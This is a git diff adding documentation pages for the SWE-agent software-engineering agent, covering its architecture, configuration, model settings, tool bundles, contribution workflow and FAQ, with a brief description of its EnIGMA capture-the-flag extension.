a/docs/assets/swesmith_logo_text_below.svg b/docs/assets/swesmith_logo_text_below.svg new file mode 100644 index 0000000..5678d55 --- /dev/null +++ b/docs/assets/swesmith_logo_text_below.svg @@ -0,0 +1,79 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/docs/assets/template_workflow.png b/docs/assets/template_workflow.png new file mode 100644 index 0000000..be01e99 Binary files /dev/null and b/docs/assets/template_workflow.png differ diff --git a/docs/background/aci.md b/docs/background/aci.md new file mode 100644 index 0000000..a2cdc40 --- /dev/null +++ b/docs/background/aci.md @@ -0,0 +1,16 @@ +# Agent Computer Interface (ACI) + +SWE-agent is built on the idea of an **Agent-Computer Interface** (ACI). +An ACI is essentially an a set of tools and interaction format that allows an agent to interact with a computer-based environment, to perform tasks, such as software engineering. +The SWE-agent repository is built to make it easy to invent new ACIs for agents to solve various tasks. + +Just like how typical language models requires good prompt engineering, **good ACI design leads to much better results when using agents**. As we show in the SWE-agent [paper](https://arxiv.org/abs/2405.15793), a baseline agent without a well-tuned ACI does much worse than SWE-agent. + +SWE-agent contains features that we discovered to be immensely helpful during the agent-computer interface design process: + +1. We add a **linter** that runs when an edit command is issued, and do not let the edit command go through if the code isn't syntactically correct. +2. We supply the agent with a **special-built file viewer**, instead of having it just `cat` files. We found that this file viewer works best when displaying just 100 lines in each turn. The **file editor** that we built has commands for scrolling up and down and for performing a search within the file. +3. We supply the agent with a special-built full-directory string **searching command**. We found that it was important for this tool to succinctly list the matches- we simply list each file that had at least one match. Showing the model more context about each match proved to be too confusing for the model. +4. When commands have an empty output we return a message saying "Your command ran successfully and did not produce any output." + +Read our paper for more details [here](https://arxiv.org/abs/2405.15793). diff --git a/docs/background/architecture.md b/docs/background/architecture.md new file mode 100644 index 0000000..6e7ae08 --- /dev/null +++ b/docs/background/architecture.md @@ -0,0 +1,17 @@ +# Architecture + +This page walks you through the general architecture of the SWE-agent package. Want to just run it? Jump ahead to the [installation](../installation/index.md) or [usage](../usage/index.md) sections. + +![architecture](../assets/architecture.png) + +The central entry point to SWE-agent is the `sweagent` command line executable (1). It initializes an instance of the [`SWEEnv`](../reference/env.md) class (2) that manages the environment. +With SWE-agent 1.0, this class is now merely a thin wrapper around our [SWE-ReX](https://swe-rex.com) package. +Upon initialization, `SWEEnv` initializes the SWE-ReX _Deployment_. The Deployment either starts a local Docker container (4), or it starts the container on a remote system like modal or aws (3). +Within the container, SWE-ReX starts a shell session (5) that will be used to execute the commands. +SWE-ReX also installs the [ACI](aci.md) elements as [custom tools](../config/tools.md) (9) that are available to the shell session. + +The second class that is initialized by is the [`Agent`](../reference/agent.md) (6). It can be configured with a yaml file (see [config](../config/config.md)). It's most important method is `forward()` which prompts the model and executes its action. + +To prompt the model, the history (all prompts to the model together with actions and outputs) need to be sent to the LM. In order to make the best use of the context window of the model, the history gets compressed by a `HistoryProcessor` (7). The model output (8) is then interpreted by the `Agent` class (in particular, we use a [parser](../reference/parsers.md) to extract the action) and executed in the Shell session via `SWEEnv` (10). + +For this, `SWEEnv` holds the SWE-ReX deployment class that talks to a server running within the docker container (11). \ No newline at end of file diff --git a/docs/background/index.md b/docs/background/index.md new file mode 100644 index 0000000..224b161 --- /dev/null +++ b/docs/background/index.md @@ -0,0 +1,69 @@ +# Project overview + +This section of the documentation talks about the architecture and research goals of [SWE-agent](#swe-agent). + +## SWE-agent + +SWE-agent turns LMs (e.g. GPT-4) into software engineering agents that can fix issues in GitHub repositories. + +On [SWE-bench](https://github.com/SWE-bench/SWE-bench), SWE-agent resolves **12.29%** of issues, achieving the state-of-the-art performance on the full test set. + +We accomplish our results by designing simple LM-centric commands and feedback formats to make it easier for the LM to browse the repository, view, edit and execute code files. We call this an 🤖 **Agent-Computer Interface (ACI)**. +Read more about the ACI [here](aci.md). + +SWE-agent is built and maintained by researchers from Princeton University. + +For a quick introduction, watch the following video: + + + +A longer lecture touching on the project's motivation, research findings, as well as providing a hands-on tutorial on how to install, use, and configure SWE-agent is provided here: + + + +For in-depth information, read our [paper](https://arxiv.org/abs/2405.15793). If you found this work helpful, please consider using the following citation: + +```bibtex +@inproceedings{yang2024sweagent, + title={{SWE}-agent: Agent-Computer Interfaces Enable Automated Software Engineering}, + author={John Yang and Carlos E Jimenez and Alexander Wettig and Kilian Lieret and Shunyu Yao and Karthik R Narasimhan and Ofir Press}, + booktitle={The Thirty-eighth Annual Conference on Neural Information Processing Systems}, + year={2024}, + url={https://arxiv.org/abs/2405.15793} +} +``` + +## SWE-agent EnIGMA + +!!! warning "Compatibility" + SWE-agent EnIGMA is currently only available for SWE-agent v0.7.0. + +SWE-agent EnIGMA adds advanced **offensive cybersecurity capabilities**. + +On the [NYU CTF benchmark](https://github.com/NYU-LLM-CTF/LLM_CTF_Database), EnIGMA solves **13.5%** of the capture the flag (CTF) challenges, achieving the state-of-the-art performance on the full test set of 200 challenges, **surpassing previous agents by more than 3x** ([leaderboard](https://enigma-agent.com#results)). + +We accomplish our results by extending the [🤖 ACIs](../background/aci.md) concept first introduced in SWE-agent, to the cybersecurity domain. We establish the novel [**:gear: Interactive Agent Tools** (IATs)](https://swe-agent.com/0.7/background/iat/) concept, which enables our agent to use interactive tools such as a debugger, in a multitasking way such that the agent still has access to the main shell while using the debugger. + +We also use a new **Summarizer** concept integrated into the agent to deal with long context. Read more about our different summarizers [here](https://swe-agent.com/0.7/config/summarizers/). + +Specific [demonstrations](../config/demonstrations.md) were built per each CTF category (cryptography, reverse-engineering, forensics, ...), to enhance the model ability to solve new tasks from the same category. + +EnIGMA is built and maintained by researchers from Tel-Aviv University, New York University and Princeton University. + +For a quick introduction, watch the following video: + + + +For all the details, read our [paper](https://arxiv.org/abs/2409.16165). If you found this work helpful, please consider using the following citation: + +```bibtex +@misc{abramovich2024enigmaenhancedinteractivegenerative, + title={EnIGMA: Enhanced Interactive Generative Model Agent for CTF Challenges}, + author={Talor Abramovich and Meet Udeshi and Minghao Shao and Kilian Lieret and Haoran Xi and Kimberly Milner and Sofija Jancheska and John Yang and Carlos E. Jimenez and Farshad Khorrami and Prashanth Krishnamurthy and Brendan Dolan-Gavitt and Muhammad Shafique and Karthik Narasimhan and Ramesh Karri and Ofir Press}, + year={2024}, + eprint={2409.16165}, + archivePrefix={arXiv}, + primaryClass={cs.AI}, + url={https://arxiv.org/abs/2409.16165}, +} +``` diff --git a/docs/config/config.md b/docs/config/config.md new file mode 100644 index 0000000..4f57160 --- /dev/null +++ b/docs/config/config.md @@ -0,0 +1,72 @@ +# Configuration + +This page contains details describing how to write your own configurations to control how agents can interact with the `SWEEnv` environment. + +A configuration is represented in one or more `.yaml` files, specified by the `--config` flag in the [command line interface](../usage/cl_tutorial.md), allowing you to... + +* Define the [**tools**](tools.md) that agents may use to traverse + modify a codebase. +* Write [**prompts**](templates.md) that are deterministically/conditionally shown to the agent over the course of a single trajectory. +* Use [**demonstrations**](demonstrations.md) to guide the agent's behavior. +* Change the [**model behavior**](models.md) of the agent. +* Control the **input/output interface** that sits between the agent and the environment + +!!! tip "Default config files" + Our default config files are in the [`config/`](https://github.com/SWE-agent/SWE-agent/tree/main/config) directory. + + For multimodal support, use `config/default_mm_with_images.yaml` which includes image processing capabilities. + +To use a config file, you can use the `--config` flag in the command line interface. + +```bash +sweagent run --config config/your_config.yaml +sweagent run-batch --config config/your_config.yaml +``` + +You can also use more than one config file, e.g., `--config config/default.yaml --config my_config.yaml` +(note that you need to repeat `--config`). +Config options are merged in a nested way. + +This is the current default configuration file which is loaded when no `--config` flag is provided: + +
+default.yaml + +```yaml title="config/default.yaml" +--8<-- "config/default.yaml" +``` +
+ +!!! hint "Relative paths" + Relative paths in config files are resolved to the `SWE_AGENT_CONFIG_ROOT` environment variable (if set) + or the SWE-agent repository root. + +## Multimodal Configuration + +For working with images and vision-capable models, SWE-agent provides specialized multimodal configuration options. + +These options are best demonstrated in `default_mm_with_images.yaml`. + +This configuration enables full image processing capabilities: + +- **SWE-bench Multimodal Image processing**: Downloads and converts GitHub issue images to base64 format for SWE-bench Multimodal instances. +- **Extended observation length**: Increases observation token limits to accommodate images +- **Image tools**: Includes `image_tools` bundle for viewing images +- **Web browsing tools**: Includes `web_browser` bundle for using web browsers +- **History processing**: Enables `image_parsing` history processor for parsing + +### Key Multimodal Settings + +```yaml +agent: + templates: + disable_image_processing: false # enable/disable image processing + max_observation_length: 10_000_000 # increased for images + tools: + bundles: + - path: tools/image_tools # image viewing capabilities + - path: tools/web_browser # browser automation tools + history_processors: + - type: image_parsing # process image tools outputs (required for tools to work) +``` + +See the [multimodal guide](../usage/multimodal.md) for detailed configuration options. diff --git a/docs/config/demonstrations.md b/docs/config/demonstrations.md new file mode 100644 index 0000000..83d5979 --- /dev/null +++ b/docs/config/demonstrations.md @@ -0,0 +1,41 @@ +# Changing the demonstrations + +!!! warning "Under construction" + We're in the process of updating this page to reflect SWE-agent 1.0.0. + +An important way to show LMs how to use commands and interact with the environment is through providing a demonstration - which is basically a completed [trajectory](../usage/trajectories.md) that the LM can learn from. + +For simplicity we only ingest demonstrations in the from of a trajectory file. However, since trajectory files are usually JSON, you can convert them to yaml using the `sweagent traj-to-demo` command to be more human-readable and easier to edit. + +Demo (yaml) files are stored in the `demos/` directory by default and consist primarily of the sequence of actions that an LM would need to take to complete a task. It's important that your demo have the proper format to be parsed by SWE-agent and your config. + +## Manually creating a custom trajectory + +You can manually generate a trajectory by running the agent with `--agent.model.name=human_thought`. +This lets you input, at each turn, the thought (ending with END_THOUGHT) and then the action (a single command). + +You should then convert that trajectory into a demonstration as shown below. + +To edit text in `human_thought` mode with the traditional line-based editor: + +1. Run the command `edit edit_start_line:edit_end_line` +2. Write the text you want to insert. Feel free to write the text across multiple lines. +3. Press `return` then write `end_of_edit` and then press `return` again to submit the edit. + +If you would like to run `human_thought` mode without having to type in a thought at each turn (for debugging for example), use `--agent.model.name=human`. + +## Converting an existing trajectory into a demonstration + +Here's how you can make a demo from an existing trajectory file (like the one created from the previous step): + +1. Find a basic trajectory that you already like and want to use as the basis for your demo. + For instance, consider the `.traj` files in the [`trajectories/demonstrations/` folder](https://github.com/SWE-agent/SWE-agent/tree/main/trajectories/demonstrations) + or find the trajectory from the previous step (the path will be printed at the bottom). +2. Run `sweagent traj-to-demo ` to convert the trajectory to a demo. + This demo will be saved as a readable yaml file in the `demos/` directory. +3. Edit the demo by hand to make it work for your particular use case and configuration. +4. (Optional) Run `sweagent run-replay --traj_path ` to execute the actions of the demo, have the system generate the execution output, and ensure that it works as expected. +5. Inspect the resulting trajectory to ensure it was executed correctly. +6. Specify the path to your demonstration in your [config file](config.md) + +{% include-markdown "../_footer.md" %} diff --git a/docs/config/env.md b/docs/config/env.md new file mode 100644 index 0000000..8dc584a --- /dev/null +++ b/docs/config/env.md @@ -0,0 +1,24 @@ +# Environment variables + +This page details all environment variables that are currently in use by SWE-agent. + +* All API keys (for LMs and GitHub) can be set as an environment variable. See [here](../installation/keys.md) for more information. +* `SWE_AGENT_CONFIG_ROOT`: Used to resolve relative paths in the [config](config.md). E.g., if `SWE_AGENT_CONFIG_ROOT=/a/b/c` and you set + add a tool bundle as `tools/my_bundle`, it will be resolved to `/a/b/c/tools/my_bundle`. The default of `SWE_AGENT_CONFIG_ROOT` is the + the `swe-agent` package directory. + +The following variables can only be set as environment variables, not in the config file. + +If you install `swe-agent` without the `--editable` option, please make sure to set + +* `SWE_AGENT_CONFIG_DIR` (default `/config`) +* `SWE_AGENT_TOOLS_DIR` (default `/tools`) +* `SWE_AGENT_TRAJECTORY_DIR` (default `/trajectories`) + +In addition, the following env variables allow to configure the logging. + +* `SWE_AGENT_LOG_TIME`: Add timestamps to log +* `SWE_AGENT_LOG_STREAM_LEVEL`: Level of logging that is shown on the command line interface (`TRACE` being a custom level below `DEBUG`). Will have no effect for `run-batch`. + +!!! hint "Persisting environment variables" + Most environment variables can also be added to `.env` instead. \ No newline at end of file diff --git a/docs/config/environments.md b/docs/config/environments.md new file mode 100644 index 0000000..fdcf602 --- /dev/null +++ b/docs/config/environments.md @@ -0,0 +1,33 @@ +# Environments + +SWE-agent runs on docker images (`python:3.11` by default). +If you are running on SWE-Bench, every instance has a docker image that we pull from dockerhub. + +Here's an example of a simple custom docker environment: + +```dockerfile title="tiny.Dockerfile" +FROM python:3.11.10-bullseye # (1)! + +ARG DEBIAN_FRONTEND=noninteractive # (2)! +ENV TZ=Etc/UTC + +WORKDIR / + +# Install swe-rex for faster startup +RUN pip install pipx +RUN pipx install swe-rex +RUN pipx ensurepath +ENV PATH="$PATH:/root/.local/bin/" + +# Install any extra dependencies +RUN pip install flake8 + +SHELL ["/bin/bash", "-c"] +``` + +1. This is the base image that we're starting from +2. Important to disable any interactive prompts when installing things + +Build it with `docker build -f tiny.Dockerfile -t swe-agent-tiny .`. + +Now you can run it in the agent with `sweagent run --env.deployment.image swe-agent-tiny ...` diff --git a/docs/config/index.md b/docs/config/index.md new file mode 120000 index 0000000..3dc8737 --- /dev/null +++ b/docs/config/index.md @@ -0,0 +1 @@ +config.md \ No newline at end of file diff --git a/docs/config/models.md b/docs/config/models.md new file mode 100644 index 0000000..dd1aff0 --- /dev/null +++ b/docs/config/models.md @@ -0,0 +1,144 @@ +# Models + +!!! tip "Required reading" + + See [the model section](../installation/keys.md) in the installation guide for a primer before reading the rest of this page. + +!!! tip "Related pages" + + * See [the model config reference](../reference/model_config.md) for the full list of model options + * To control how the agent extracts the actions from the model response, see the [action parsers](../reference/parsers.md) reference + +## Notes for specific models + +### Local models + +See [the model section](../installation/keys.md) in the installation guide. +Remember to unset spending limits and configure the action parser if you cannot support function calling. + +For "cost" tracking with local models, you can optionally provide a custom `litellm_model_registry` file in your configuration. +This allows you to define custom pricing information for your local models instead of disabling cost limits entirely. +See the [local models section](../installation/keys.md#custom-model-registry-for-cost-tracking) for detailed instructions. + +### Anthropic Claude + +Prompt caching makes SWE-agent several times more affordable. While this is done automatically for models like `gpt-4o`, +care has to be taken for Anthropic Claude, as you need to manually set the cache break points. + +For this, include the following history processor: + +```yaml +agent: + history_processors: + - type: cache_control + last_n_messages: 2 +``` + +!!! warning "Other history processors" + + Other history processors might interfere with the prompt caching + if you are not careful. + However, if your history processor is only modifying the last observation, + you can combine as done [here](https://github.com/SWE-agent/SWE-agent/blob/main/config/sweagent_heavy.yaml). + +Anthropic Claude gives you 4 cache break points per key. +You need two of them for a single agent run (because the break points are both used to retrieve and set the cache). +Therefore, you can only run two parallel instances of SWE-agent with [`run-batch`](../usage/batch_mode.md) per key. +To support more parallel running instances, supply multiple keys as described below. + +We recommend that you check how often you hit the cache. A very simple way is to go to your trajectory directory and grep like so: + +```bash +grep -o "cached_tokens=[0-9]*" django__django-11299.debug.log +``` + +Note that the maximum number of output tokens of Claude 3.7/4 can be extended with extra headers. +See [this issue in litellm](https://github.com/BerriAI/litellm/issues/8984) and and [swe-agent PR #1035](https://github.com/SWE-agent/SWE-agent/issues/1035) +for omore information. +Since [#1036](https://github.com/SWE-agent/SWE-agent/pull/1036) you can also manually set the maximum output tokens and override the information +from `litellm`. + +To use extended thinking, you can set the following in your config: + +```yaml +agent: + name: 'claude-sonnet-4-20250514' + model: + temperature: 1. + completion_kwargs: + reasoning_effort: 'high' +``` + +### o1 + +Make sure to set + +```yaml +agent: + model: + top_p: null + temperature: 1. +``` + +as other values aren't supported by `o1`. + +## Using multiple keys + +We support rotating through multiple keys for [`run-batch`](../usage/batch_mode.md). For this, concatenate all keys with `:::` and set them via the `--agent.model.api_key` flag. +Every thread (i.e., every parallel running agent that is working on one task instance) will stick to one key during the entire run, i.e., this does not break prompt caching. + + +### Custom cost tracking + +If you want to track costs for models not in the default litellm registry, you can provide a custom model registry file. This is particularly useful for: + +- New models not yet supported by litellm's default registry +- Overriding default / old cost values in litellm +- Local models that you want to track "costs" for, to compare to other results + +This file will override entries in the [litellm community model cost file](https://github.com/BerriAI/litellm/blob/main/model_prices_and_context_window.json). + +Create a JSON file with your model's cost information following the litellm model registry format: + +```json title="my_model_registry.json" +{ + "ollama/llama2": { + "max_tokens": 8192, + "input_cost_per_token": 0.00002, + "output_cost_per_token": 0.00006, + "litellm_provider": "ollama", + "mode": "chat" + }, + "my-custom-provider/my-new-model": { + "max_tokens": 8192, + "max_input_tokens": 8192, + "max_output_tokens": 8192, + "input_cost_per_token": 0.000001, + "output_cost_per_token": 0.000002, + "litellm_provider": "openai", + "mode": "chat" + } +} +``` + +Then specify this registry in your config: + +```yaml title="config/your_config.yaml" +agent: + model: + litellm_model_registry: "my_model_registry.json" # Path to your custom registry + ... +``` + +If you need to modify the tokenizer that is used when calculating costs, you can set the `custom_tokenizer` setting in the [model config](../reference/model_config.md). + +## Models for testing + +We also provide models for testing SWE-agent without spending any credits + +* `HumanModel` and `HumanThoughtModel` will prompt for input from the user that stands in for the output of the LM. This can be used to create new [demonstrations](../config/demonstrations.md#manual). +* `ReplayModel` takes a trajectory as input and "replays it" +* `InstantEmptySubmitTestModel` will create an empty `reproduce.py` and then submit + + +{% include-markdown "../_footer.md" %} diff --git a/docs/config/templates.md b/docs/config/templates.md new file mode 100644 index 0000000..0b4afca --- /dev/null +++ b/docs/config/templates.md @@ -0,0 +1,20 @@ + +## Configuring templates + +The following diagram illustrates where each template is shown within a single episode of solving one task instance. + +![template workflow](../assets/template_workflow.png) + +One of three templates can be shown per turn: + +* "Next Step" (`next_step_template`): Displayed if the model's action successfully runs. The output and a prompt for the next action is shown +* "Next Step (No Output)" (`next_step_no_output_template`): Displayed if the model's action successfully runs, but does not produce any standard output (e.g. `rm`, `cd`) +* "Format Error" (`format_error_template`): Displayed if the model's response is malformed. Over the next two turns... + * If one of the model's next response is correct, the message history is updated such that the "Format Error" turn is not kept. The episode continues. + * If the model's next two responses are both malformed, the episode terminates. + +!!! tip "All options" + See the [template reference](../reference/template_config.md) for all options. + +{% include-markdown "../_footer.md" %} + diff --git a/docs/config/tools.md b/docs/config/tools.md new file mode 100644 index 0000000..2eea7af --- /dev/null +++ b/docs/config/tools.md @@ -0,0 +1,80 @@ +# Configuring tools + +!!! seealso "Tutorials" + + See the [tutorial on adding a new tool](../usage/adding_custom_tools.md)! + +Tools are one one of the ways to configure and extend the agent. + +Typically, there is + +* The `bash` tool, allowing the agent to run shell commands (including invoking python scripts) +* Specific tools for the agent to inspect the code (file viewer, etc) +* Code editors (for example with search and replace or line range based methods) + +With SWE-agent, these tools are organized in _tool bundles_. + +Each tool bundle is a folder with the following structure: + +``` +bundle/ +├── bin/ +│ └── +│ └── +├── config.yaml +├── install.sh +├── README.md +└── pyproject.toml +``` + +The `bin/` folder contains the actual tool implementation as executables. + +Here's an example of a tool bundle config: + +```yaml +tools: + filemap: + signature: "filemap " + docstring: "Print the contents of a Python file, skipping lengthy function and method definitions." + arguments: + - name: file_path + type: string + description: The path to the file to be read + required: true +``` + +Another important key is the `state` field. +The `state` command is a special command that is executed after every action and returns a json string that we parse. +The resulting dictionary can be used to format prompt templates. +For example, for the classical SWE-agent tools, we extract the working directory and the currently open file like so: + +```python title="tools/windowed/bin/_state" +#!/usr/bin/env python3 + +import json +import os +from pathlib import Path + +from registry import registry # type: ignore + + +def main(): + current_file = registry.get("CURRENT_FILE") + open_file = "n/a" if not current_file else str(Path(current_file).resolve()) + state = {"open_file": open_file, "working_dir": os.getcwd()} + + print(json.dumps(state)) + +if __name__ == "__main__": + main() +``` + +TO use it, we set the following config key + +```yaml +tools: + ... +state_command: "_state" +``` + +To see the full specification of the state command, see the [tool config documentation](../reference/bundle_config.md). \ No newline at end of file diff --git a/docs/dev/contribute.md b/docs/dev/contribute.md new file mode 100644 index 0000000..0fed7b3 --- /dev/null +++ b/docs/dev/contribute.md @@ -0,0 +1,147 @@ +# Contribute to SWE-agent + +!!! tip "Formatting change" + We've recently added automated formatting to our code base. + If you are dealing with merge-conflicts when opening a PR or updating your fork, + please first install `pre-commit` and run `pre-commit run --all-files` and try again. + +{% + include-markdown "../../CONTRIBUTING.md" + start="" + end="" +%} + +Wanna do more and actually contribute code? Great! Please see the following sections for tips and guidelines! + +## Development repository set-up + +Please install the repository from source, following our [usual instructions](../installation/source.md) but add the `[dev]` option to the `pip` command (you can just run the command again): + +```bash +pip install -e '.[dev]' +``` + +Then, make sure to set up [`pre-commit`](https://pre-commit.com): + +```bash +# cd to our repo root +pre-commit install +``` + +`pre-commit` will check for formatting and basic syntax errors before your commits. + +!!! tip "Autofixes" + Most problems (including formatting) will be automatically fixed. + Therefore, if `pre-commit`/`git commit` fails on its first run, simply try running it a second time. + + Some more autofixes can be enabled with the `--unsafe-fixes` option from [`ruff`](https://github.com/astral-sh/ruff): + + ```bash + pipx run ruff check --fix --unsafe-fixes + ``` + +## Running tests + +We provide a lot of tests that can be very helpful for rapid development. +Run them with + +```bash +pytest +``` + +Some of the tests might be slower than others. You can exclude them with + +```bash +pytest -m "not slow" +``` + +You can run all tests in parallel with `pytest-xdist`: + +```bash +pytest -n auto +``` + +If you are using VSCode, you might want to add the following two files: + +
+.vscode/launch.json + +```json +--8<-- "docs/dev/vscode_launch.json" +``` +
+ +
+.vscode/settings.json + +```json +--8<-- "docs/dev/vscode_settings.json" +``` +
+ +## Debugging + +We recommend to install `pdbpp` for some improved debugger features: + +```bash +pip install pdbpp +``` + +Set breakpoints with `breakpoint()` and then run `sweagent` with `pdb`: + +```bash +pdb -m sweagent -- # (1)! +``` + +1. Note the `--` before the options passed to sweagent. This is to separate + options passed to `pdb` from those that are passed to `sweagent`. + + +When working on a test that fails, you can use + +``` +pytest -k name_of_test -s --capture=no --log-cli-level=DEBUG +``` + +to see all debug output from the agent. + +## Tips for pull requests + +* If you see a lot of formatting-related merge conflicts, please see [here](formatting_conflicts.md). +* Please open separate PRs for separate issues. This makes it easier to incorporate part of your changes. +* It might be good to open an issue and discuss first before investing time on an experimental feature. +* Don't know where to get started? Look for issues marked [👋 good first issue][gfi] or [🙏 help wanted][help_wanted] +* When changing the behavior of the agent, we need to have some indication that it actually improves the success rate of SWE-agent. + However, if you make the behavior optional without complicating SWE-agent (for example by providing new [commands](../config/tools.md)), + we might be less strict. +* Please add simple unit tests or integration tests wherever possible. Take a look in the [tests directory](https://github.com/SWE-agent/SWE-agent/tree/main/tests) + for inspiration. We emphasize simple easy-to-write tests that get a lot of coverage. + +[gfi]: https://github.com/SWE-agent/SWE-agent/issues?q=is%3Aissue+is%3Aopen+sort%3Aupdated-desc+label%3A%22%F0%9F%91%8B+good+first+issue%22+ +[help_wanted]: https://github.com/SWE-agent/SWE-agent/issues?q=is%3Aissue+is%3Aopen+sort%3Aupdated-desc+label%3A%22%F0%9F%99%8F+help+wanted%22 + +## Building the documentation + +Simply run + +```bash +# cd repo root +mkdocs serve +``` + +and point your browser to port 8000 or click one of the links in the output. + +## Diving into the code + +
+ +
+
+ settings + Code structure and reference +
+

Read the reference for more information on our code.

+
+ +
+{% include-markdown "../_footer.md" %} diff --git a/docs/dev/formatting_conflicts.md b/docs/dev/formatting_conflicts.md new file mode 100644 index 0000000..0cbf357 --- /dev/null +++ b/docs/dev/formatting_conflicts.md @@ -0,0 +1,65 @@ +On May 28th, 2024, we introduced automated formatting with `ruff-format` and `pre-commit`. This changed almost every file in the project. +If you forked or branched off before these changes and now try to synchronize your fork/branch with `SWE-agent/SWE-agent:main`, you will +see a lot of merge conflicts. + +To solve this, you need to apply the same formatting to your code. Here's how you can do it. + +First let's add the official remote (if it exists, you've probably already added it and you can ignore the warning). + +```bash +git remote add upstream https://github.com/SWE-agent/SWE-agent.git +git fetch upstream +``` + +Now, you need the updated `pyproject.toml` and `.pre-commit-config.yaml` files. +We can get them from `SWE-agent/SWE-agent:main`: + +```bash +git checkout upstream/main -- .pre-commit-config.yaml pyproject.toml +git commit -m "Update formatting instructions" --no-verify +``` + +Let's assume that your changes are on branch `FEATURE_BRANCH`, for example, if you've committed to `main`: + +```bash +export FEATURE_BRANCH="main" +``` + +Next we create a copy of this branch (so we don't further modify it): + +```bash +git branch "${FEATURE_BRANCH}_REBASED" "${FEATURE_BRANCH}" +``` + +And now comes the tricky bit: We rebase your changes on top of `upstream/main`, while applying +the formatting fixes at every step: + +```bash +git rebase upstream/main "${FEATURE_BRANCH}_REBASED" \ + -Xtheirs \ + --exec 'git reset --soft HEAD^; pre-commit run; pipx run ruff check --fix --unsafe-fixes; git add -u; git commit -C HEAD@{1} --no-verify' +``` + +!!! note "Understanding the last command" + Here's what is happening: + + * `git rebase upstream/main "${FEATURE_BRANCH}_REBASED"` + applies every commit from `"${FEATURE_BRANCH}_REBASED"` on top of `upstream/main`. + * `-Xtheirs` tells git to always take _your_ changes for merge conflicts + (rather than the format changes). + * After every commit, the command from `--exec` is being called. + * `git reset --soft HEAD^` undos the `git commit` action (while leaving the + changes staged), + * then we apply the formatting, and + * finally we commit the + formatted changes again. + +!!! tip "Still merge conflicts?" + It's possible that there are non-formatting-related merge conflicts that you are encountering. + In this case, `git rebase` will stop every time it cannot resolve the conflict. + Simply fix the merge conflicts as you would normally do (edit the file, commit once done), + and then run `git rebase --continue`. + +You can now open a PR from `${FEATURE_BRANCH}_REBASED` or make it your new default branch. + +{% include-markdown "../_footer.md" %} \ No newline at end of file diff --git a/docs/dev/vscode_launch.json b/docs/dev/vscode_launch.json new file mode 100644 index 0000000..652e20b --- /dev/null +++ b/docs/dev/vscode_launch.json @@ -0,0 +1,17 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Python: Debug Tests", + "type": "debugpy", + "request": "launch", + "program": "${file}", + "purpose": ["debug-test"], + "console": "integratedTerminal", + "env": { + "PYTEST_ADDOPTS": "--no-cov" + }, + "justMyCode": false + } + ] +} diff --git a/docs/dev/vscode_settings.json b/docs/dev/vscode_settings.json new file mode 100644 index 0000000..c9d6d20 --- /dev/null +++ b/docs/dev/vscode_settings.json @@ -0,0 +1,12 @@ +{ + "python.testing.pytestArgs": [ + "sweagent", + "--cov=sweagent/", + "--cov-report=xml:cov.xml", + "-n", "auto", + "tests" + ], + "python.testing.unittestEnabled": false, + "python.testing.pytestEnabled": true, + "git.ignoreLimitWarning": true +} \ No newline at end of file diff --git a/docs/faq.md b/docs/faq.md new file mode 100644 index 0000000..8459d77 --- /dev/null +++ b/docs/faq.md @@ -0,0 +1,62 @@ +# Frequently Asked Questions + +## Basics + +> Does SWE-agent run on Windows/MacOS/Linux? + +Yes! Your only limitation might be the availability of the docker containers for your environments. +But you can always execute SWE-agent in the cloud. + +> I got a very long error message about various configuration options not working. What's up? + +This is probably because of union types. +See [this section](usage/cl_tutorial.md#union-types) for more information, but the short version is that some options (e.g., the repository or problem statement) can be specified in multiple ways, so we try every option until we find the one that works based on your inputs. +If none of them work, we throw an error which then tells you why we cannot initialize any of the types, so this will get somewhat long and confusing. + +> Why are my images not being processed? + +Check that you're using a multimodal configuration (see `default_mm_with_images.yaml` as an example), have internet connectivity, and images are under 10MB. See [Multimodal usage notes](usage/multimodal.md) for more details. + +## Models + +> What models are supported? Do you support local models? + +Probably all of them, including local models! There's even a few for testing. See [models](installation/keys.md) and [more on models](config/models.md). + +> Does SWE-agent support multimodal models and images? + +Yes! SWE-agent supports vision-capable models that can process images from GitHub issues. Use `--config config/default_mm_with_images.yaml` and specify a multimodal model like Claude Sonnet 4 or GPT-4o. See the [multimodal guide](usage/multimodal.md) for details. + +> What can I do if my model doesn't support function calling? + +You can configure how to parse the model's response by choosing your `agent.tools.parse_function`. +The default now is `function_calling`, but you can change it to `thought_action`. +More information in the [reference](reference/parsers.md). +There are also some config example in our [config folder](https://github.com/SWE-agent/SWE-agent/tree/main/config). + +## Configuring SWE-agent + +> How can I change the demonstrations given to SWE-agent? + +At the start of each run, we feed the agent a demonstration trajectory, showing it how to solve an example issue. +This substantially improves the agent's abilities to solve novel issues. +If you'd like to modify or totally change this demonstration, to better fit your use case, see [this](config/demonstrations.md). + +> Can I add custom tools? + +Yes! Take a look at [this tutorial](usage/adding_custom_tools.md). + +## MISC + +> What's up with all the output files? + +You're probably most interested in the `*.traj` files, which contain complete records of SWE-agent's thought process and actions. See [output files](usage/trajectories.md) for more information. + +## Anything else? + +> I have a question/bug report/feature request... + +Please open a [github issue!](https://github.com/SWE-agent/SWE-agent/issues)! + + +{% include-markdown "_footer.md" %} \ No newline at end of file diff --git a/docs/index.md b/docs/index.md new file mode 100644 index 0000000..1041d66 --- /dev/null +++ b/docs/index.md @@ -0,0 +1,89 @@ +--- +title: "Getting Started" +--- + + +
+ SWE-agent banner + SWE-agent banner +
+ +!!! warning "We recommend mini-swe-agent instead of SWE-agent" + Most of our current development effort is on [mini-swe-agent](https://github.com/SWE-agent/mini-swe-agent/), + which has superseded SWE-agent. It matches the performance of SWE-agent, while being + much simpler. + See the [FAQ](https://mini-swe-agent.com/latest/faq/) for more details about the differences. + +SWE-agent enables your language model of choice (e.g. GPT-4o or Claude Sonnet 4) to autonomously use tools to +[fix issues in real GitHub repositories](https://swe-agent.com/latest/usage/hello_world), +[find cybersecurity vulnerabilities](https://enigma-agent.com/), or +[perform any custom task](https://swe-agent.com/latest/usage/coding_challenges). + +* ✅ **State of the art** on SWE-bench among open-source projects +* ✅ **Free-flowing & generalizable**: Leaves maximal agency to the LM +* ✅ **Configurable & fully documented**: Governed by a single `yaml` file +* ✅ **Made for research**: Simple & hackable by design + +SWE-agent is built and maintained by researchers from Princeton University and Stanford University. + +
+ +
+
+ download + Installation +
+

Installing SWE-agent.

+
+ + + +
+
+ settings + Hello world +
+

Solve a GitHub issue with SWE-agent.

+
+ + + +
+
+ lightbulb + User guides +
+

Dive deeper into SWE-agent's features and goals.

+
+ + + +
+
+ book + Background & goals +
+

